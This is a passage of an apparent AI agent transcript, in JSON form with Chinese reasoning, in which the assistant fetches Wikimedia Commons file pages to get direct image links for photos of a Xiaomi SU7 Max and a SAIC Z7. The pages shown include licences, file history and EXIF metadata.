pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/8/8a/Xiaomi_SU7_Max.jpg/500px-Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail) | [1,920 × 2,076 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/8/8a/Xiaomi_SU7_Max.jpg/1920px-Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail) | [2,626 × 2,839 pixels](https://upload.wikimedia.org/wikipedia/commons/8/8a/Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail_unscaled).\n\n[Original file](https://upload.wikimedia.org/wikipedia/commons/8/8a/Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original \"Xiaomi SU7 Max.jpg\") (2,626 × 2,839 pixels, file size: 1.72 MB, MIME type: image/jpeg)\n\nFile information\n\nStructured data\n\n## Captions\n\n### Captions\n\nXiaomi SU7 car in Max configuration in Moscow\n\nАвтомобиль Xiaomi SU7 в комплектации Max в Москве\n\nАвтомобіль Xiaomi SU7 в комплектації Max в Москві\n\n## Summary\n\n[[edit](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&action=edit§ion=1 \"Edit section: Summary\")]\n\n| | |\n| --- | --- |\n| DescriptionXiaomi SU7 Max.jpg | **Русский:** Автомобиль Xiaomi SU7 в комплектации Max в Москве **English:** Xiaomi SU7 car in Max configuration in Moscow **Українська:** Автомобіль Xiaomi SU7 в комплектації Max в Москві |\n| Date | |\n| Source | Own work |\n| Author | [Artur Random](/w/index.php?title=User:Artur_Random&action=edit&redlink=1 \"User:Artur Random (page does not exist)\") |\n| Other versions | | | | | | --- | --- | --- | | [Image extraction process](/wiki/File:Extracted_image_icon.svg) | This image has an **extracted file**: [Xiaomi SU7 Max (resized).jpg](/wiki/File:Xiaomi_SU7_Max_(resized).jpg \"File:Xiaomi SU7 Max (resized).jpg\"). | [lang=en](/wiki/File:Xiaomi_SU7_Max_(resized).jpg \"lang=en\") | |\n\n| | | | |\n| --- | --- | --- | --- |\n| Camera location | [55° 40′ 50.62″ N, 37° 32′ 18.59″ E](https://geohack.toolforge.org/geohack.php?pagename=File:Xiaomi_SU7_Max.jpg¶ms=055.680729_N_0037.538497_E_globe:Earth_type:camera__&language=en) [Kartographer map based on OpenStreetMap.](/wiki/Special:Map/13/55.680729/37.538497/en) | View this and other nearby images on: [OpenStreetMap](https://wikimap.toolforge.org/?wp=false&cluster=false&zoom=16&lat=055.680729&lon=0037.538497) | [info](/wiki/Commons:Geocoding \"Commons:Geocoding\") 55.680729; 37.538497 |\n\n## Licensing\n\n[[edit](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&action=edit§ion=2 \"Edit section: Licensing\")]\n\nI, the copyright holder of this work, hereby publish it under the following license:\n\n![w:en:Creative Commons](https://upload.wikimedia.org/wikipedia/commons/thumb/7/79/CC_some_rights_reserved.svg/120px-CC_some_rights_reserved.svg.png?utm_source=commons.wikimedia.org&utm_campaign=parser&utm_content=thumbnail) \n ![attribution](https://upload.wikimedia.org/wikipedia/commons/thumb/1/11/Cc-by_new_white.svg/40px-Cc-by_new_white.svg.png?utm_source=commons.wikimedia.org&utm_campaign=parser&utm_content=thumbnail) ![share alike](https://upload.wikimedia.org/wikipedia/commons/thumb/d/df/Cc-sa_white.svg/40px-Cc-sa_white.svg.png?utm_source=commons.wikimedia.org&utm_campaign=parser&utm_content=thumbnail)\n\nThis file is licensed under the [Creative Commons](https://en.wikipedia.org/wiki/en:Creative_Commons \"w:en:Creative Commons\") [Attribution-Share Alike 4.0 International](//creativecommons.org/licenses/by-sa/4.0/deed.en \"creativecommons:by-sa/4.0/deed.en\") license.\n\n: You are free:\n\n * **to share** – to copy, distribute and transmit the work\n * **to remix** – to adapt the work\n: Under the following conditions:\n\n * **attribution** – You must give appropriate credit, provide a link to the license, and indicate if changes were made. You may do so in any reasonable manner, but not in any way that suggests the licensor endorses you or your use.\n * **share alike** – If you remix, transform, or build upon the material, you must distribute your contributions under the [same or compatible license](https://creativecommons.org/share-your-work/licensing-considerations/compatible-licenses \"ccorg:share-your-work/licensing-considerations/compatible-licenses\") as the original.\n\nhttps://creativecommons.org/licenses/by-sa/4.0CC BY-SA 4.0 Creative Commons Attribution-Share Alike 4.0 truetrue\n\n## File history\n\nClick on a date/time to view the file as it appeared at that time.\n\n| Date/Time | Thumbnail | Dimensions | User | Comment |\n| --- | --- | --- | --- | --- |\n| current | [20:51, 14 September 2024](https://upload.wikimedia.org/wikipedia/commons/8/8a/Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original) | 2,626 × 2,839 (1.72 MB) | [Artur Random](/w/index.php?title=User:Artur_Random&action=edit&redlink=1 \"User:Artur Random (page does not exist)\") ([talk](/wiki/User_talk:Artur_Random \"User talk:Artur Random\") | [contribs](/wiki/Special:Contributions/Artur_Random \"Special:Contributions/Artur Random\")) | EXIF-данные сохранены |\n| [20:45, 14 September 2024](https://upload.wikimedia.org/wikipedia/commons/archive/8/8a/20240914205124%21Xiaomi_SU7_Max.jpg) | 2,626 × 2,839 (2.11 MB) | [Artur Random](/w/index.php?title=User:Artur_Random&action=edit&redlink=1 \"User:Artur Random (page does not exist)\") ([talk](/wiki/User_talk:Artur_Random \"User talk:Artur Random\") | [contribs](/wiki/Special:Contributions/Artur_Random \"Special:Contributions/Artur Random\")) | Uploaded own work with UploadWizard |\n\nYou cannot overwrite this file.\n\n## File usage on Commons\n\nThe following page uses this file:\n\n* [File:Xiaomi SU7 Max (resized).jpg](/wiki/File:Xiaomi_SU7_Max_(resized).jpg \"File:Xiaomi SU7 Max (resized).jpg\")\n\n## File usage on other wikis\n\nThe following other wikis use this file:\n\n* Usage on ru.wikipedia.org\n + [Xiaomi SU7](https://ru.wikipedia.org/wiki/Xiaomi_SU7)\n\n## Metadata\n\nThis file contains additional information such as Exif metadata which may have been added by the digital camera, scanner, or software program used to create or digitize it. If the file has been modified from its original state, some details such as the timestamp may not fully reflect those of the original file. The timestamp is only as accurate as the clock in the camera, and it may be completely wrong.\n\n| | |\n| --- | --- |\n| Camera manufacturer | [Apple](https://en.wikipedia.org/wiki/Apple_Inc. \"w:Apple Inc.\") |\n| Camera model | [iPhone 15 Pro](https://en.wikipedia.org/wiki/Special:Search?search=iPhone+15+Pro) |\n| Exposure time | 1/260 sec (0.0038461538461538) |\n| [F-number](https://en.wikipedia.org/wiki/F-number \"wikipedia:F-number\") | f/1.7799999713881 |\n| ISO speed rating | 64 |\n| Date and time of data generation | 10:32, 12 September 2024 |\n| Lens focal length | 6.7649998656528 mm |\n| Latitude | 55° 40′ 50.51″ N |\n| Longitude | 37° 32′ 18.66″ E |\n| Altitude | 196.444 meters above sea level |\n| Orientation | Normal |\n| Horizontal resolution | 72 dpi |\n| Vertical resolution | 72 dpi |\n| Software used | [17.6.1](https://en.wikipedia.org/wiki/Special:Search?search=17.6.1) |\n| File change date and time | 10:32, 12 September 2024 |\n| Y and C positioning | Centered |\n| Exposure Program | Normal program |\n| Exif version | 2.32 |\n| Date and time of digitizing | 10:32, 12 September 2024 |\n| Meaning of each component | 1. Y 2. Cb 3. Cr 4. does not exist |\n| APEX shutter speed | 8.0198020988068 |\n| APEX aperture | 1.6637544366005 |\n| APEX brightness | 4.9360978795329 |\n| APEX exposure bias | −1.1798210377594 |\n| Metering mode | Spot |\n| Flash | Flash did not fire, compulsory flash suppression |\n| DateTimeOriginal subseconds | 233 |\n| DateTimeDigitized subseconds | 233 |\n| Supported Flashpix version | 1 |\n| Color space | Uncalibrated |\n| Sensing method | One-chip color area sensor |\n| Scene type | A directly photographed image |\n| Exposure mode | Auto exposure |\n| White balance | Auto white balance |\n| Digital zoom ratio | 1.4264150943396 |\n| Focal length in 35 mm film | 69 mm |\n| Scene capture type | Standard |\n| GPS time (atomic clock) | 07:32 |\n| Speed unit | Kilometers per hour |\n| Speed of GPS receiver | 0 |\n| Reference for direction of image | True direction |\n| Direction of image | 8.2423343675853 |\n| Reference for bearing of destination | True direction |\n| Bearing of destination | 8.2423343675853 |\n| GPS date | 12 September 2024 |\n\n## Structured data\n\n### Items portrayed in this file\n\n#### [depicts](https://www.wikidata.org/wiki/Special:EntityPage/P180 \"d:Special:EntityPage/P180\")\n\n#### [Xiaomi SU7](https://www.wikidata.org/wiki/Special:EntityPage/Q123470261 \"d:Special:EntityPage/Q123470261\")\n\n#### [creator](https://www.wikidata.org/wiki/Special:EntityPage/P170 \"d:Special:EntityPage/P170\")\n\n#### some value\n\n[object of statement has role](https://www.wikidata.org/wiki/Special:EntityPage/P3831 \"d:Special:EntityPage/P3831\"): [photographer](https://www.wikidata.org/wiki/Special:EntityPage/Q33231 \"d:Special:EntityPage/Q33231\")\n\n[author name string](https://www.wikidata.org/wiki/Special:EntityPage/P2093 \"d:Special:EntityPage/P2093\"): Artur Random\n\n[Wikimedia username](https://www.wikidata.org/wiki/Special:EntityPage/P4174 \"d:Special:EntityPage/P4174\"): [Artur Random](https://meta.wikimedia.org/wiki/Special:CentralAuth/Artur%20Random)\n\n#### [copyright status](https://www.wikidata.org/wiki/Special:EntityPage/P6216 \"d:Special:EntityPage/P6216\")\n\n#### [copyrighted](https://www.wikidata.org/wiki/Special:EntityPage/Q50423863 \"d:Special:EntityPage/Q50423863\")\n\n#### [copyright license](https://www.wikidata.org/wiki/Special:EntityPage/P275 \"d:Special:EntityPage/P275\")\n\n#### [Creative Commons Attribution-ShareAlike 4.0 International](https://www.wikidata.org/wiki/Special:EntityPage/Q18199165 \"d:Special:EntityPage/Q18199165\")\n\n#### [inception](https://www.wikidata.org/wiki/Special:EntityPage/P571 \"d:Special:EntityPage/P571\")\n\n#### 12 September 2024\n\n#### [coordinates of the point of view](https://www.wikidata.org/wiki/Special:EntityPage/P1259 \"d:Special:EntityPage/P1259\")\n\n#### 55°40'50.624\"N, 37°32'18.589\"E\n\n#### [exposure time](https://www.wikidata.org/wiki/Special:EntityPage/P6757 \"d:Special:EntityPage/P6757\")\n\n#### 0.00384615384615384615 second\n\n#### [f-number](https://www.wikidata.org/wiki/Special:EntityPage/P6790 \"d:Special:EntityPage/P6790\")\n\n#### 1.77999997138806510359\n\n#### [focal length](https://www.wikidata.org/wiki/Special:EntityPage/P2151 \"d:Special:EntityPage/P2151\")\n\n#### 6.76499986565279307843 millimetre\n\n#### [ISO speed](https://www.wikidata.org/wiki/Special:EntityPage/P6789 \"d:Special:EntityPage/P6789\")\n\n#### [media type](https://www.wikidata.org/wiki/Special:EntityPage/P1163 \"d:Special:EntityPage/P1163\")\n\n#### [instance of](https://www.wikidata.org/wiki/Special:EntityPage/P31 \"d:Special:EntityPage/P31\")\n\n#### [source of file](https://www.wikidata.org/wiki/Special:EntityPage/P7482 \"d:Special:EntityPage/P7482\")\n\n#### [original creation by uploader](https://www.wikidata.org/wiki/Special:EntityPage/Q66458942 \"d:Special:EntityPage/Q66458942\")\n\nRetrieved from \"\"\n\n[Categories](/wiki/Special:MyLanguage/Commons:Categories \"Special:MyLanguage/Commons:Categories\"):\n\n* [Xiaomi SU7](/wiki/Category:Xiaomi_SU7 \"Category:Xiaomi SU7\")\n* [Number 075 on vehicle registration plates](/wiki/Category:Number_075_on_vehicle_registration_plates \"Category:Number 075 on vehicle registration plates\")\n* [Lomonosovsky District](/wiki/Category:Lomonosovsky_District \"Category:Lomonosovsky District\")\n* [Xiaomi automobiles in Moscow](/wiki/Category:Xiaomi_automobiles_in_Moscow \"Category:Xiaomi automobiles in Moscow\")\n\nHidden categories:\n\n* [Images with extracted images](/wiki/Category:Images_with_extracted_images \"Category:Images with extracted images\")\n* [Files with coordinates missing SDC location of creation](/wiki/Category:Files_with_coordinates_missing_SDC_location_of_creation \"Category:Files with coordinates missing SDC location of creation\")\n* [CC-BY-SA-4.0](/wiki/Category:CC-BY-SA-4.0 \"Category:CC-BY-SA-4.0\")\n* [Self-published work](/wiki/Category:Self-published_work \"Category:Self-published work\")\n\nFile:Xiaomi SU7 Max.jpg\n\n[Add topic](#)\n=================================================="}}, "tool_call_id": "tool_fCXxabfP9kYn3dAkbUC4Mc3C", "name": "extract_webpage"}, {"role": "assistant", "reasoning_content": "拿到了小米SU7 Max的直链:\n- 缩略图:https://upload.wikimedia.org/wikipedia/commons/thumb/8/8a/Xiaomi_SU7_Max.jpg/960px-Xiaomi_SU7_Max.jpg\n- 原图:https://upload.wikimedia.org/wikipedia/commons/8/8a/Xiaomi_SU7_Max.jpg\n\n这张图是竖构图(2626×2839),莫斯科拍的,蓝色/灰色?不确定颜色。搜索结果里还有 \"Xiaomi SU7 purple front view\" 紫色正面图,小米SU7经典颜色是霞光紫/海湾蓝。这张竖图可能展示效果好。\n\n再提取尚界Z7的文件页拿直链:\n- File:SAIC Z7 MY2026 IMG01.jpg\n- 也可以看 Category:SAIC Z7 里有什么图\n\n同时可以提取小米SU7的另一张(比如紫色正面图)备用或一起展示。\n\n计划:\n1. extract_webpage: https://commons.wikimedia.org/wiki/File:SAIC_Z7_MY2026_IMG01.jpg\n2. extract_webpage: https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg\n\n并行。", "content": "小米SU7的直链已拿到。现在提取尚界Z7和另一张小米SU7的图片直链。", "timestamp": "2026-08-23T13:34:28.495305", "message_id": "msg_6ee1fecfd4a44b29844114fa83278c2f", "metadata": {"model_key": "Kimi-K3"}, "tool_calls": [{"id": "tool_LfzCYaq6KyANzRYn3Kqnwxp0", "index": 0, "type": "function", "function": {"name": "extract_webpage", "arguments": "{\"intent\": \"提取尚界Z7图片直链\", \"url\": \"https://commons.wikimedia.org/wiki/File:SAIC_Z7_MY2026_IMG01.jpg\"}"}}, {"id": "tool_s8y6Z46TAOkPWLQDTamLtGzy", "index": 1, "type": "function", "function": {"name": "extract_webpage", "arguments": "{\"intent\": \"提取小米SU7紫色正面图\", \"url\": \"https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg\"}"}}]}, {"role": "tool", "content": "提取完成:https://commons.wikimedia.org/wiki/File:SAIC_Z7_MY2026_IMG01.jpg,长度 10573 字符。\n```\n🌐 网页内容 (10380 字符):\n📍 URL: https://commons.wikimedia.org/wiki/File:SAIC_Z7_MY2026_IMG01.jpg\n==================================================\n[Jump to content](#bodyContent)\n\n[![](/static/images/icons/commonswiki.svg) ![Wikimedia Commons](/static/images/mobile/copyright/commonswiki-wordmark.svg)](/wiki/Main_Page)\n\n[Search](/wiki/Special:MediaSearch \"Search Wikimedia Commons [f]\")\n\n## Contents\n\n* [Beginning](#)\n* [1 File](#file)\n* [2 Summary](#Summary)\n* [3 Licensing](#Licensing)\n* [4 File history](#filehistory)\n* [5 File usage on Commons](#filelinks)\n* [6 File usage on other wikis](#globalusage)\n* [7 Metadata](#metadata)\n\n# File:SAIC Z7 MY2026 IMG01.jpg\n\n* [File](/wiki/File:SAIC_Z7_MY2026_IMG01.jpg \"View the file page [c]\")\n* [Discussion](/w/index.php?title=File_talk:SAIC_Z7_MY2026_IMG01.jpg&action=edit&redlink=1 \"Discussion about the content page (page does not exist) [t]\")\n\n* [Read](/wiki/File:SAIC_Z7_MY2026_IMG01.jpg)\n* [Edit](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&action=edit \"Edit this page [e]\")\n* [View history](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&action=history \"Past revisions of this page [h]\")\n\n\n\nTools\n\nActions\n\n* [Read](/wiki/File:SAIC_Z7_MY2026_IMG01.jpg)\n* [Edit](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&action=edit \"Edit this page [e]\")\n* [View history](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&action=history \"Past revisions of this page [h]\")\n\nGeneral\n\n* [What links here](/wiki/Special:WhatLinksHere/File:SAIC_Z7_MY2026_IMG01.jpg \"A list of all wiki pages that link here [j]\")\n* [Related changes](/wiki/Special:RecentChangesLinked/File:SAIC_Z7_MY2026_IMG01.jpg \"Recent changes in pages linked from this page [k]\")\n* [Permanent link](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&oldid=1262740536 \"Permanent link to this revision of this page\")\n* [Page information](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&action=info \"More information about this page\")\n* [Cite this page](/w/index.php?title=Special:CiteThisPage&page=File%3ASAIC_Z7_MY2026_IMG01.jpg&id=1262740536&wpFormIdentifier=titleform \"Information on how to cite this page\")\n* [Get shortened URL](/w/index.php?title=Special:UrlShortener&url=https%3A%2F%2Fcommons.wikimedia.org%2Fwiki%2FFile%3ASAIC_Z7_MY2026_IMG01.jpg)\n* [Concept URI](https://commons.wikimedia.org/entity/M195602733 \"URI that identifies the concept described by this Item\")\n\nPrint/export\n\n* [Download as PDF](/w/index.php?title=Special:DownloadAsPdf&page=File%3ASAIC_Z7_MY2026_IMG01.jpg&action=show-download-screen)\n* [Printable version](javascript:print(); \"Printable version of this page [p]\")\n\nIn other projects\n\nAppearance\n\nFrom Wikimedia Commons, the free media repository\n\n[![File:SAIC Z7 MY2026 IMG01.jpg](https://upload.wikimedia.org/wikipedia/commons/thumb/2/25/SAIC_Z7_MY2026_IMG01.jpg/960px-SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail&_=20260713070106)](https://upload.wikimedia.org/wikipedia/commons/2/25/SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original)\n\nSize of this preview: [960 × 720 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/2/25/SAIC_Z7_MY2026_IMG01.jpg/960px-SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail). Other resolutions: [330 × 248 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/2/25/SAIC_Z7_MY2026_IMG01.jpg/330px-SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail) | [1,280 × 960 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/2/25/SAIC_Z7_MY2026_IMG01.jpg/1280px-SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail) | [3,714 × 2,786 pixels](https://upload.wikimedia.org/wikipedia/commons/2/25/SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail_unscaled).\n\n[Original file](https://upload.wikimedia.org/wikipedia/commons/2/25/SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original \"SAIC Z7 MY2026 IMG01.jpg\") (3,714 × 2,786 pixels, file size: 3.69 MB, MIME type: image/jpeg)\n\nFile information\n\nStructured data\n\n## Captions\n\n### Captions\n\nSAIC Z7 MY2026\n\n## Summary\n\n[[edit](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&action=edit§ion=1 \"Edit section: Summary\")]\n\n| | |\n| --- | --- |\n| DescriptionSAIC Z7 MY2026 IMG01.jpg | **English:** SAIC Z7 MY2026 |\n| Date | |\n| Source | Own work |\n| Author | [Poprace](/w/index.php?title=User:Poprace&action=edit&redlink=1 \"User:Poprace (page does not exist)\") |\n\n## Licensing\n\n[[edit](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&action=edit§ion=2 \"Edit section: Licensing\")]\n\nI, the copyright holder of this work, hereby publish it under the following license:\n\n| | |\n| --- | --- |\n| Creative Commons CC-Zero | This file is made available under the [Creative Commons](https://en.wikipedia.org/wiki/en:Creative_Commons \"w:en:Creative Commons\") [CC0 1.0 Universal Public Domain Dedication](https://creativecommons.org/publicdomain/zero/1.0/deed.en \"ccorg:publicdomain/zero/1.0/deed.en\"). |\n| The person who associated a work with this deed has dedicated the work to the [public domain](https://en.wikipedia.org/wiki/en:public_domain \"w:en:public domain\") by waiving all of their rights to the work worldwide under copyright law, including all related and neighboring rights, to the extent allowed by law. You can copy, modify, distribute and perform the work, even for commercial purposes, all without asking permission. http://creativecommons.org/publicdomain/zero/1.0/deed.enCC0Creative Commons Zero, Public Domain Dedicationfalsefalse |\n\n## File history\n\nClick on a date/time to view the file as it appeared at that time.\n\n| Date/Time | Thumbnail | Dimensions | User | Comment |\n| --- | --- | --- | --- | --- |\n| current | [07:01, 13 July 2026](https://upload.wikimedia.org/wikipedia/commons/2/25/SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original) | 3,714 × 2,786 (3.69 MB) | [Poprace](/w/index.php?title=User:Poprace&action=edit&redlink=1 \"User:Poprace (page does not exist)\") ([talk](/wiki/User_talk:Poprace \"User talk:Poprace\") | [contribs](/wiki/Special:Contributions/Poprace \"Special:Contributions/Poprace\")) | Uploaded own work with UploadWizard |\n\nYou cannot overwrite this file.\n\n## File usage on Commons\n\nThere are no pages that use this file.\n\n## File usage on other wikis\n\nThe following other wikis use this file:\n\n* Usage on de.wikipedia.org\n + [Shangjie (Automarke)](https://de.wikipedia.org/wiki/Shangjie_(Automarke))\n\n## Metadata\n\nThis file contains additional information such as Exif metadata which may have been added by the digital camera, scanner, or software program used to create or digitize it. If the file has been modified from its original state, some details such as the timestamp may not fully reflect those of the original file. The timestamp is only as accurate as the clock in the camera, and it may be completely wrong.\n\n| | |\n| --- | --- |\n| Camera manufacturer | [Apple](https://en.wikipedia.org/wiki/Apple_Inc. \"w:Apple Inc.\") |\n| Camera model | [iPhone 14 Pro Max](https://en.wikipedia.org/wiki/Special:Search?search=iPhone+14+Pro+Max) |\n| Exposure time | 1/3,367 sec (0.0002970002970003) |\n| [F-number](https://en.wikipedia.org/wiki/F-number \"wikipedia:F-number\") | f/1.78 |\n| ISO speed rating | 64 |\n| Date and time of data generation | 12:25, 13 July 2026 |\n| Lens focal length | 6.86 mm |\n| Orientation | Normal |\n| Horizontal resolution | 72 dpi |\n| Vertical resolution | 72 dpi |\n| Software used | [26.5](https://en.wikipedia.org/wiki/Special:Search?search=26.5) |\n| File change date and time | 12:25, 13 July 2026 |\n| Y and C positioning | Centered |\n| Exposure Program | Normal program |\n| Exif version | 2.32 |\n| Date and time of digitizing | 12:25, 13 July 2026 |\n| Meaning of each component | 1. Y 2. Cb 3. Cr 4. does not exist |\n| APEX shutter speed | 11.717249456249 |\n| APEX aperture | 1.6637544825625 |\n| APEX brightness | 9.5423895899054 |\n| APEX exposure bias | 0 |\n| Metering mode | Pattern |\n| Flash | Flash did not fire, compulsory flash suppression |\n| DateTimeOriginal subseconds | 839 |\n| DateTimeDigitized subseconds | 839 |\n| Supported Flashpix version | 1 |\n| Color space | Uncalibrated |\n| Sensing method | One-chip color area sensor |\n| Scene type | A directly photographed image |\n| Exposure mode | Auto exposure |\n| White balance | Auto white balance |\n| Digital zoom ratio | 1.1241635687732 |\n| Focal length in 35 mm film | 54 mm |\n| Scene capture type | Standard |\n\n## Structured data\n\n### Items portrayed in this file\n\n#### [depicts](https://www.wikidata.org/wiki/Special:EntityPage/P180 \"d:Special:EntityPage/P180\")\n\n#### [Saic Z7](https://www.wikidata.org/wiki/Special:EntityPage/Q137919999 \"d:Special:EntityPage/Q137919999\")\n\n#### [inception](https://www.wikidata.org/wiki/Special:EntityPage/P571 \"d:Special:EntityPage/P571\")\n\n#### 13 July 2026\n\n#### [media type](https://www.wikidata.org/wiki/Special:EntityPage/P1163 \"d:Special:EntityPage/P1163\")\n\n#### image/jpeg\n\n#### [ISO speed](https://www.wikidata.org/wiki/Special:EntityPage/P6789 \"d:Special:EntityPage/P6789\")\n\n#### 64\n\n#### [exposure time](https://www.wikidata.org/wiki/Special:EntityPage/P6757 \"d:Special:EntityPage/P6757\")\n\n#### 0.0002970002970003 second\n\n#### [focal length](https://www.wikidata.org/wiki/Special:EntityPage/P2151 \"d:Special:EntityPage/P2151\")\n\n#### 6.86 millimetre\n\nRetrieved from \"\"\n\n[Category](/wiki/Special:MyLanguage/Commons:Categories \"Special:MyLanguage/Commons:Categories\"):\n\n* [SAIC Z7](/wiki/Category:SAIC_Z7 \"Category:SAIC Z7\")\n\nHidden categories:\n\n* [CC-Zero](/wiki/Category:CC-Zero \"Category:CC-Zero\")\n* [Creative Commons CC0 1.0 Universal Public Domain Dedication missing SDC copyright license](/wiki/Category:Creative_Commons_CC0_1.0_Universal_Public_Domain_Dedication_missing_SDC_copyright_license \"Category:Creative Commons CC0 1.0 Universal Public Domain Dedication missing SDC copyright license\")\n* [Self-published work](/wiki/Category:Self-published_work \"Category:Self-published work\")\n* [Self-published work missing SDC copyright license](/wiki/Category:Self-published_work_missing_SDC_copyright_license \"Category:Self-published work missing SDC copyright license\")\n\nFile:SAIC Z7 MY2026 IMG01.jpg\n\n[Add topic](#)\n==================================================\n```", "timestamp": "2026-08-23T13:34:31.860896", "message_id": "msg_47a1a74af3754c9da826bfc0054a22b7", "metadata": {"tool_payload": {"success": true, "url": "https://commons.wikimedia.org/wiki/File:SAIC_Z7_MY2026_IMG01.jpg", "content": "🌐 网页内容 (10380 字符):\n📍 URL: https://commons.wikimedia.org/wiki/File:SAIC_Z7_MY2026_IMG01.jpg\n==================================================\n[Jump to content](#bodyContent)\n\n[![](/static/images/icons/commonswiki.svg) ![Wikimedia Commons](/static/images/mobile/copyright/commonswiki-wordmark.svg)](/wiki/Main_Page)\n\n[Search](/wiki/Special:MediaSearch \"Search Wikimedia Commons [f]\")\n\n## Contents\n\n* [Beginning](#)\n* [1 File](#file)\n* [2 Summary](#Summary)\n* [3 Licensing](#Licensing)\n* [4 File history](#filehistory)\n* [5 File usage on Commons](#filelinks)\n* [6 File usage on other wikis](#globalusage)\n* [7 Metadata](#metadata)\n\n# File:SAIC Z7 MY2026 IMG01.jpg\n\n* [File](/wiki/File:SAIC_Z7_MY2026_IMG01.jpg \"View the file page [c]\")\n* [Discussion](/w/index.php?title=File_talk:SAIC_Z7_MY2026_IMG01.jpg&action=edit&redlink=1 \"Discussion about the content page (page does not exist) [t]\")\n\n* [Read](/wiki/File:SAIC_Z7_MY2026_IMG01.jpg)\n* [Edit](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&action=edit \"Edit this page [e]\")\n* [View history](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&action=history \"Past revisions of this page [h]\")\n\n\n\nTools\n\nActions\n\n* [Read](/wiki/File:SAIC_Z7_MY2026_IMG01.jpg)\n* [Edit](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&action=edit \"Edit this page [e]\")\n* [View history](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&action=history \"Past revisions of this page [h]\")\n\nGeneral\n\n* [What links here](/wiki/Special:WhatLinksHere/File:SAIC_Z7_MY2026_IMG01.jpg \"A list of all wiki pages that link here [j]\")\n* [Related changes](/wiki/Special:RecentChangesLinked/File:SAIC_Z7_MY2026_IMG01.jpg \"Recent changes in pages linked from this page [k]\")\n* [Permanent link](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&oldid=1262740536 \"Permanent link to this revision of this page\")\n* [Page information](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&action=info \"More information about this page\")\n* [Cite this page](/w/index.php?title=Special:CiteThisPage&page=File%3ASAIC_Z7_MY2026_IMG01.jpg&id=1262740536&wpFormIdentifier=titleform \"Information on how to cite this page\")\n* [Get shortened URL](/w/index.php?title=Special:UrlShortener&url=https%3A%2F%2Fcommons.wikimedia.org%2Fwiki%2FFile%3ASAIC_Z7_MY2026_IMG01.jpg)\n* [Concept URI](https://commons.wikimedia.org/entity/M195602733 \"URI that identifies the concept described by this Item\")\n\nPrint/export\n\n* [Download as PDF](/w/index.php?title=Special:DownloadAsPdf&page=File%3ASAIC_Z7_MY2026_IMG01.jpg&action=show-download-screen)\n* [Printable version](javascript:print(); \"Printable version of this page [p]\")\n\nIn other projects\n\nAppearance\n\nFrom Wikimedia Commons, the free media repository\n\n[![File:SAIC Z7 MY2026 IMG01.jpg](https://upload.wikimedia.org/wikipedia/commons/thumb/2/25/SAIC_Z7_MY2026_IMG01.jpg/960px-SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail&_=20260713070106)](https://upload.wikimedia.org/wikipedia/commons/2/25/SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original)\n\nSize of this preview: [960 × 720 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/2/25/SAIC_Z7_MY2026_IMG01.jpg/960px-SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail). Other resolutions: [330 × 248 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/2/25/SAIC_Z7_MY2026_IMG01.jpg/330px-SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail) | [1,280 × 960 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/2/25/SAIC_Z7_MY2026_IMG01.jpg/1280px-SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail) | [3,714 × 2,786 pixels](https://upload.wikimedia.org/wikipedia/commons/2/25/SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail_unscaled).\n\n[Original 